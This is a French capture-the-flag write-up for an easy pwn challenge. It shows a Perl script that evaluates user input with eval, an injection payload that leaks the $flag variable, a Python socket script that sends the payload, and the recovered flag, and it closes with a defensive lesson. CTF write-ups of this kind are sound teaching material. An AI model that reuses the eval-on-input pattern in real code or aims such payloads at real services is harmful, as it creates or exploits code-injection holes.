Post

Jean D'Hack 2026 — Intro Sum [Pwn]

CTF : Jean D’Hack 2026 · Catégorie : Pwn · Difficulté : ⭐ Easy
← Retour à l’index du CTF


Description du challenge

Le service propose un script Perl qui additionne 42 à un nombre saisi par l’utilisateur.
L’objectif : lire le contenu de flag.txt sur le serveur.

Connexion : nc pwn.jeanne-hack-ctf.org 9000


Analyse du code source

En inspectant le script Perl fourni, on repère immédiatement la partie critique :

while (1) { print "Enter a number to sum with 42: "; my $string = <STDIN>; chomp $string; my $result = eval "42 + " . $string; print "Result: " . $result . "\n"; }

Ce qui cloche

La ligne eval "42 + " . $string exécute dynamiquement une chaîne construite en concaténant l’entrée utilisateur.
En Perl, eval interprète la chaîne comme du code Perl réel — c’est une vulnérabilité d’injection de code.


Exploitation

Logique de l’injection

Le serveur va évaluer littéralement : 42 + <ce qu'on envoie>.

Si on envoie 0; $flag, la chaîne complète devient :

eval "42 + 0; $flag"

Perl exécute d’abord 42 + 0, puis évalue $flag et retourne sa valeur — ce qui nous donne le contenu de la variable interne $flag.

Script Python de résolution

Comme nc n’était pas disponible directement, j’ai automatisé l’interaction via un socket Python :

import socket HOST = "pwn.jeanne-hack-ctf.org" PORT = 9000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) # Lire le prompt print(s.recv(1024).decode()) # Envoyer le payload s.sendall(b"0; $flag\n") # Recevoir la réponse response = s.recv(1024).decode() print(response) s.close()

Résultat

Enter a number to sum with 42: Result: JDHACK{JeANnE_IN7rO_w1th_P3rL_3v4l}

Flag

JDHACK{JeANnE_IN7rO_w1th_P3rL_3v4l}

Ce que j’ai retenu

L’utilisation de eval sur une entrée non filtrée est une erreur critique dans n’importe quel langage.
En Perl, Ruby, Python, JavaScript — la règle est la même : ne jamais passer une entrée utilisateur dans eval.

La vraie défense ici serait de parser numériquement l’entrée avec int($string) avant de l’utiliser, rejetant toute chaîne non numérique.

Cet article est sous licence CC BY 4.0 par t3chw1z4rd.